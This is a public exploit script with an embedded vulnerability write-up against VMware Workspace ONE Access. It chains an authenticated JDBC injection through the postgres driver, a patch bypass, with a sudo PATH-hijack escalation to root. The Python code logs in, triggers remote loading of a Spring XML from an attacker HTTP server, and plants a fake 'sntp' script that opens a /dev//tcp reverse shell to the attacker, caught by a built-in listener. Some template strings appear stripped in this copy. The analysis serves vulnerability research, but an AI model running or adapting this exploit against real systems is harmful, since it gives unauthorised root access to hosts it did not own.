Share
## https://sploitus.com/exploit?id=SRC-2022-0015
#!/usr/bin/env python3
"""
VMware Workspace ONE Access ApplicationSetupController dbTestConnection JDBC Injection Remote Code Execution Exploit
Steven Seeley of Qihoo 360 Vulnerability Research Institute
# Summary:
This vulnerability allows a remote attacker authenticated as admin to execute remote code as horizon. The attacker can chain this with another vulnerability to achieve code execution as root.
# Notes:
This is a patch bypass for CVE-2022-22958 chained with a new LPE exploit. VMware has patched the bugs in this report and released an advisory here: https://www.vmware.com/security/advisories/VMSA-2022-0021.html.
# Vulnerability Analysis:
## ApplicationSetupController dbTestConnection JDBC Injection (CVE-2022-31665)
Inside of the com.vmware.horizon.svadmin.controller.ApplicationSetupController we can see the following code:
```java
/* */ public AjaxResponse dbTestConnection(@RequestParam("jdbcurl") String jdbcUrl, @RequestParam("dbUsername") String dbUsername, @RequestParam("dbPassword") String dbPassword) { try {
/* 65 */ validateDbFields(jdbcUrl, dbUsername, dbPassword);
/* 66 */ } catch (AdminPortalException e) {
/* 67 */ return new AjaxResponse(Messages.getMessage(e.getErrorId(), e.getArgs()), Integer.valueOf(1), false);
/* */ }
/* */
/* */ try {
/* 71 */ log.info("Testing database connection... jdbcUrl {}, dbUsername {}, passwordSet? {}", new Object[] { jdbcUrl, dbUsername,
/* 72 */ Boolean.valueOf(StringUtils.isNotBlank(dbPassword)) });
/* 73 */ dbPassword = getDatabasePassword(dbPassword);
/* 74 */ this.applicationSetupService.testDatabaseConnection(jdbcUrl, dbUsername, dbPassword); // 1
/* 75 */ } catch (AdminPortalException e) {
/* 76 */ String error = null;
/* 77 */ if (StringUtils.isNotBlank(e.getMessage())) {
/* 78 */ error = this.applianceDiagnosticService.getLocalizedDBErrorMessages(e.getMessage());
/* */ }
/* */
/* 81 */ return new AjaxResponse(Messages.getMessage("configurator.configure.db.testFailed", new Object[] { error
/* 82 */ }), Integer.valueOf(2), false);
/* */ }
/* 84 */ return new AjaxResponse(Messages.getMessage("configurator.configure.db.testSuccess"), Integer.valueOf(0), true); }
```
At [1] the code calls `ApplicationSetupService.testDatabaseConnection`
```java
/* */ public void testDatabaseConnection(@NotNull String jdbcUrl, @NotNull String dbUsername, @NotNull String dbPassword, boolean checkCreateTableAccess) throws AdminPortalException {
/* */ String[] cmd;
/* 210 */ log.debug("Testing db connection params jdbcUrl: {}", jdbcUrl);
/* */
/* 212 */ String encryptedPwd = this.configEncrypter.encrypt(dbPassword);
/* */
/* */
/* 215 */ dbUsername = AppliancePasswordService.escapeArg(dbUsername);
/* 216 */ jdbcUrl = AppliancePasswordService.escapeArg(jdbcUrl);
/* */
/* 218 */ if (Const.isWindowsDeployment) {
/* 219 */ cmd = new String[] { COMMAND_SHELL, COMMAND_SHELL_ARG, "\"\"" + TEST_DB_CONNECTION_CMD + "\"" + " " + jdbcUrl + " " + dbUsername + " \"" + encryptedPwd + "\" " + checkCreateTableAccess + "\"" };
/* */ } else {
/* 221 */ cmd = new String[] { COMMAND_SHELL, COMMAND_SHELL_ARG, TEST_DB_CONNECTION_CMD + " " + jdbcUrl + " " + dbUsername + " '" + encryptedPwd + "' " + checkCreateTableAccess };
/* */ }
/* */
/* */ try {
/* 225 */ CommandUtils.executeCommand(cmd); // 2
/* 226 */ } catch (CommandException e) {
/* 227 */ log.error(String.format("Error testing DB Connection with jdbc url: %s, user: %s.", new Object[] { jdbcUrl, dbUsername }));
/* 228 */ throw new AdminPortalException(StringUtils.removeStart(e.getStdOut(), "ERROR:").trim(), e);
/* 229 */ } catch (IOException e) {
/* 230 */ log.error(String.format("Error testing DB Connection with jdbc url: %s, user: %s.", new Object[] { jdbcUrl, dbUsername }));
/* 231 */ throw new AdminPortalException(e.getMessage(), e);
/* */ }
/* */ }
```
At [2] the code executes the `/usr/local/horizon/bin/dbConnCheck` script which runs the following command. The `AppliancePasswordService.escapeArg` method is safe from injection attacks here (patch for CVE-2020-4006). Inside the script, we see the code drops privileges and calls `com.vmware.horizon.dbConnectionCheck.Main`:
```sh
if [[ $EUID -eq 0 ]]; then
params=()
for v in "$@" ; do
params+=( $(escape "$v") )
done
su ${TOMCAT_USER} -c "$JAVACMD $HZN_TOOL_OPTS -cp ${BC_JAR}:${ADMIN_JAR} com.vmware.horizon.dbConnectionCheck.Main ${params[*]}" 2>/dev/null
else
$JAVACMD $HZN_TOOL_OPTS -cp ${BC_JAR}:${ADMIN_JAR} com.vmware.horizon.dbConnectionCheck.Main $@ 2>/dev/null
fi
```
The resultant command is:
```
su horizon -c /usr/java/jre-vmware/bin/java -Dlog4j.configurationFile=file:/usr/local/horizon/conf/saas-log4j.properties -Dcatalina.base=/opt/vmware/horizon/workspace -Didm.fips.mode.required=true -Djava.security.properties=/opt/vmware/horizon/workspace/conf/idm_fips.security -Dorg.bouncycastle.fips.approved_only=true -cp /usr/local/horizon/jre-endorsed/bc-fips-1.0.1.BC-FIPS-Certified.jar:/usr/local/horizon/jars/dbConnection-0.1-jar-with-dependencies.jar com.vmware.horizon.dbConnectionCheck.Maintrue 2>/dev/null
```
whereis controlled by the attacker. This can lead to an attacker crafting a jdbc uri using specifying a mysql driver and trigger deserialization of untrusted data. The `CommonsBeanutils1` gadget from ysoserial will work to enable an attacker to gain remote code execution.
Below is the stack trace starting from the `com.vmware.horizon.dbConnectionCheck.Main` class that is executing a command (see poc.png):
```
ProcessBuilder.start() line: 1007 [local variables unavailable]
NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) line: not available [native method]
NativeMethodAccessorImpl.invoke(Object, Object[]) line: 62
DelegatingMethodAccessorImpl.invoke(Object, Object[]) line: 43
Method.invoke(Object, Object...) line: 498
ReflectiveMethodExecutor.execute(EvaluationContext, Object, Object...) line: 129
MethodReference.getValueInternal(EvaluationContext, Object, TypeDescriptor, Object[]) line: 139
MethodReference.access$000(MethodReference, EvaluationContext, Object, TypeDescriptor, Object[]) line: 55
MethodReference$MethodValueRef.getValue() line: 387
CompoundExpression.getValueInternal(ExpressionState) line: 92
CompoundExpression(SpelNodeImpl).getValue(ExpressionState) line: 112
SpelExpression.getValue(EvaluationContext) line: 272
StandardBeanExpressionResolver.evaluate(String, BeanExpressionContext) line: 166
DefaultListableBeanFactory(AbstractBeanFactory).evaluateBeanDefinitionString(String, BeanDefinition) line: 1575
BeanDefinitionValueResolver.doEvaluate(String) line: 280
BeanDefinitionValueResolver.evaluate(TypedStringValue) line: 237
BeanDefinitionValueResolver.resolveValueIfNecessary(Object, Object) line: 205
DefaultListableBeanFactory(AbstractAutowireCapableBeanFactory).applyPropertyValues(String, BeanDefinition, BeanWrapper, PropertyValues) line: 1702
DefaultListableBeanFactory(AbstractAutowireCapableBeanFactory).populateBean(String, RootBeanDefinition, BeanWrapper) line: 1447
DefaultListableBeanFactory(AbstractAutowireCapableBeanFactory).doCreateBean(String, RootBeanDefinition, Object[]) line: 593
DefaultListableBeanFactory(AbstractAutowireCapableBeanFactory).createBean(String, RootBeanDefinition, Object[]) line: 516
DefaultListableBeanFactory(AbstractBeanFactory).lambda$doGetBean$0(String, RootBeanDefinition, Object[]) line: 324
761923430.getObject() line: not available
DefaultListableBeanFactory(DefaultSingletonBeanRegistry).getSingleton(String, ObjectFactory>) line: 234
DefaultListableBeanFactory(AbstractBeanFactory).doGetBean(String, Class, Object[], boolean) line: 322
DefaultListableBeanFactory(AbstractBeanFactory).getBean(String) line: 202
DefaultListableBeanFactory.preInstantiateSingletons() line: 897
FileSystemXmlApplicationContext(AbstractApplicationContext).finishBeanFactoryInitialization(ConfigurableListableBeanFactory) line: 879
FileSystemXmlApplicationContext(AbstractApplicationContext).refresh() line: 551
FileSystemXmlApplicationContext.(String[], boolean, ApplicationContext) line: 142
FileSystemXmlApplicationContext.(String) line: 85
NativeConstructorAccessorImpl.newInstance0(Constructor>, Object[]) line: not available [native method]
NativeConstructorAccessorImpl.newInstance(Object[]) line: 62
DelegatingConstructorAccessorImpl.newInstance(Object[]) line: 45
Constructor.newInstance(Object...) line: 423
ObjectFactory.instantiate(String, Properties, boolean, String) line: 62
SocketFactoryFactory.getSocketFactory(Properties) line: 39
ConnectionFactoryImpl.openConnectionImpl(HostSpec[], String, String, Properties) line: 182
ConnectionFactory.openConnection(HostSpec[], String, String, Properties) line: 51
PgConnection.(HostSpec[], String, String, Properties, String) line: 223
Driver.makeConnection(String, Properties) line: 465
Driver.connect(String, Properties) line: 264
DriverManager.getConnection(String, Properties, Class>) line: 664
DriverManager.getConnection(String, String, String) line: 247
DbConnectionCheckServiceImpl$FactoryHelper.getConnection(String, String, String) line: 444
DbConnectionCheckServiceImpl.testConnection(String, String, String, boolean) line: 141
DbConnectionCheckServiceImpl.checkConnection(String, String, String, boolean) line: 95
Main.main(String[]) line: 61
```
## ntpServer.hzn Privilege Escalation Vulnerability (CVE-2022-31664)
Inside of the /etc/sudoers file we see:
```
...
horizon ALL = NOPASSWD: /usr/local/horizon/scripts/horizonService.sh, \
...
/usr/local/horizon/scripts/ntpServer.hzn, \
...
```
This means we can execute the /usr/local/horizon/scripts/ntpServer.hzn script as root. Studying this file we find:
```
...
function check_ntp_server() {
# check connectivity to the given ntp server
NTP_SERVER=$1
for i in $(echo $NTP_SERVER | tr "," "\n")
do
echo "####### Checking for NTP server : $i ########"
sntp $i // 2
echo "##############################################################"
echo " "
done
}
...
case "$1" in
--get)
get_ntp_server
;;
--check)
if [ -z "$2" ]
then
usage
fi
check_ntp_server $2 // 1
```
This code will call `check_ntp_server` at [1]. Then at [2] the code executes the file `sntp`. The problem here is that the file doesn't exist:
```
root@vidm [ /home/sshuser ]# find / -type f -name "sntp"
root@vidm [ /home/sshuser ]#
```
So an attacker can modify the path and add a writeable directory to it and then create the sntp file:
```
horizon@vidm [ /tmp ]$ cat lpe
#!/bin/bash
FILENAME=sntp
rm -rf $FILENAME
cd /tmp
echo '#!/bin/bash' > $FILENAME
echo 'bash' >> $FILENAME
chmod 777 $FILENAME
PATH=".:$PATH" sudo /usr/local/horizon/scripts/ntpServer.hzn --check lol
horizon@vidm [ /tmp ]$ ./lpe
####### Checking for NTP server : lol ########
root [ /tmp ]# id
uid=0(root) gid=0(root) groups=0(root),1000(vami),1004(sshaccess)
root [ /tmp ]#
```
# Exploitation:
To bypass the patch, all I did was use the postgres driver for an attack, instead of MySQL. So it wasn't enough to remove the MySQL Driver and/or gadget chain within the code base.
# Example:
```
researcher@mars:~/research/vidm/patch-bypass$ ./poc.py
(+) usage: ./poc.py(+) eg: ./poc.py 192.168.2.97 192.168.2.234 admin:Admin22#
researcher@mars:~/research/vidm/patch-bypass$ ./poc.py 192.168.2.97 192.168.2.234 admin:Admin22#
(+) attacking target via the postgresql driver
(+) rogue http server listening on 0.0.0.0:9090
(+) starting handler on port 1234
(+) logged in as admin
(+) triggering jdbc attack...
(+) connection from 192.168.2.97
(+) pop thy shell!
bash: cannot set terminal process group (1686): Inappropriate ioctl for device
bash: no job control in this shell
root [ /tmp ]# id
id
uid=0(root) gid=0(root) groups=0(root),1000(vami),1004(sshaccess)
root [ /tmp ]# uname -a
uname -a
Linux vidm.localdomain 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021 x86_64 GNU/Linux
root [ /tmp ]#
```
"""
import re
import sys
import socket
import requests
from base64 import b64encode
from telnetlib import Telnet
from threading import Thread
from colorama import Fore, Style, Back
from random import getrandbits, choice
from urllib3 import disable_warnings, exceptions
from http.server import BaseHTTPRequestHandler, HTTPServer
disable_warnings(exceptions.InsecureRequestWarning)
beans = """/bin/bash-c"""
lpe_payload = """#!/bin/bash
FILENAME=sntp
rm -rf $FILENAME
cd /tmp
echo '#!/bin/bash' > $FILENAME
echo 'bash -i >& /dev/tcp/{rhost}/{rport} 0>&1' >> $FILENAME
chmod 777 $FILENAME
PATH=".:$PATH" sudo /usr/local/horizon/scripts/ntpServer.hzn --check lol"""
class http_server(BaseHTTPRequestHandler):
def log_message(self, format, *args):
return
def _set_response(self, d):
self.send_response(200)
self.send_header('Content-type', 'text/xml')
self.send_header('Content-Length', len(d))
self.end_headers()
def do_GET(self):
if self.path.endswith("poc.xml"):
lpe = lpe_payload.format(rhost=rhost, rport=rport)
message = beans.format(lpe=b64encode(str.encode(lpe)).decode())
self._set_response(message)
self.wfile.write(message.encode('utf-8'))
self.wfile.write('\n'.encode('utf-8'))
def login(t, u , p):
d = {
"username": u,
"password": p
}
r = requests.post("https://%s:8443/cfg/j_security_check" % t, data=d, verify=False, allow_redirects=False)
assert r.headers['location'] != "/cfg/login?failure=true", "(-) authentication failed, check your credentials"
assert "JSESSIONID" in r.headers['set-cookie'], "(-) no jsessionid recieved, check your credentials"
m = re.search("JSESSIONID=(.{32});",r.headers['set-cookie'])
return m.group(1)
def get_tk(t, c):
r = requests.get("https://%s:8443/cfg/setup" % t, cookies=c, verify=False)
m = re.search("window.ec_wiz.vk = '(.*)';", r.text)
assert m, "(-) cannot find csrf token!"
return m.group(1)
def trigger_jdbc(t, c, tk, uri):
h = {"X-Vk" : tk}
d = {
"jdbcurl" : uri,
"dbUsername": "junk",
"dbPassword" : "junk",
"encryptConnection": False # needed for
}
requests.post("https://%s:8443/cfg/setup/test" % t, headers=h, data=d, cookies=c, verify=False)
def handler(lp):
print(f"(+) starting handler on port {lp}")
t = Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lp))
s.listen(1)
conn, addr = s.accept()
print(f"(+) connection from {addr[0]}")
t.sock = conn
print(f"(+) {Fore.BLUE + Style.BRIGHT}pop thy shell!{Style.RESET_ALL}")
t.interact()
def main():
global rhost, rport
if len(sys.argv) != 4:
print("(+) usage: %s" % sys.argv[0])
print("(+) eg: %s 192.168.2.97 192.168.2.234 admin:Admin22#" % sys.argv[0])
sys.exit(1)
assert ":" in sys.argv[3], "(-) credentials need to be in user:pass format"
target = sys.argv[1]
rhost = sys.argv[2]
rport = 1234
http_port = 9090
if ":" in sys.argv[2]:
rhost = sys.argv[2].split(":")[0]
assert sys.argv[2].split(":")[1].isnumeric(), "(-) connectback port must be a number!"
rport = int(sys.argv[2].split(":")[1])
usr = sys.argv[3].split(":")[0]
pwd = sys.argv[3].split(":")[1]
# patch bypass for CVE-2022-22958
jdbc = f"jdbc:postgresql://blah:1337/saas?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://{rhost}:9090/poc.xml"
cookie = { "JSESSIONID": login(target, usr, pwd) }
tk = get_tk(target, cookie)
server = HTTPServer(('0.0.0.0', http_port), http_server)
handlerthr = Thread(target=server.serve_forever, args=[])
handlerthr.daemon = True
handlerthr.start()
print(f"(+) attacking target via the postgresql driver")
print(f"(+) rogue http server listening on 0.0.0.0:{http_port}")
handlerthr = Thread(target=handler, args=[rport])
handlerthr.start()
print("(+) logged in as %s" % usr)
print("(+) triggering jdbc attack...")
trigger_jdbc(target, cookie, tk, jdbc)
if __name__ == "__main__":
main()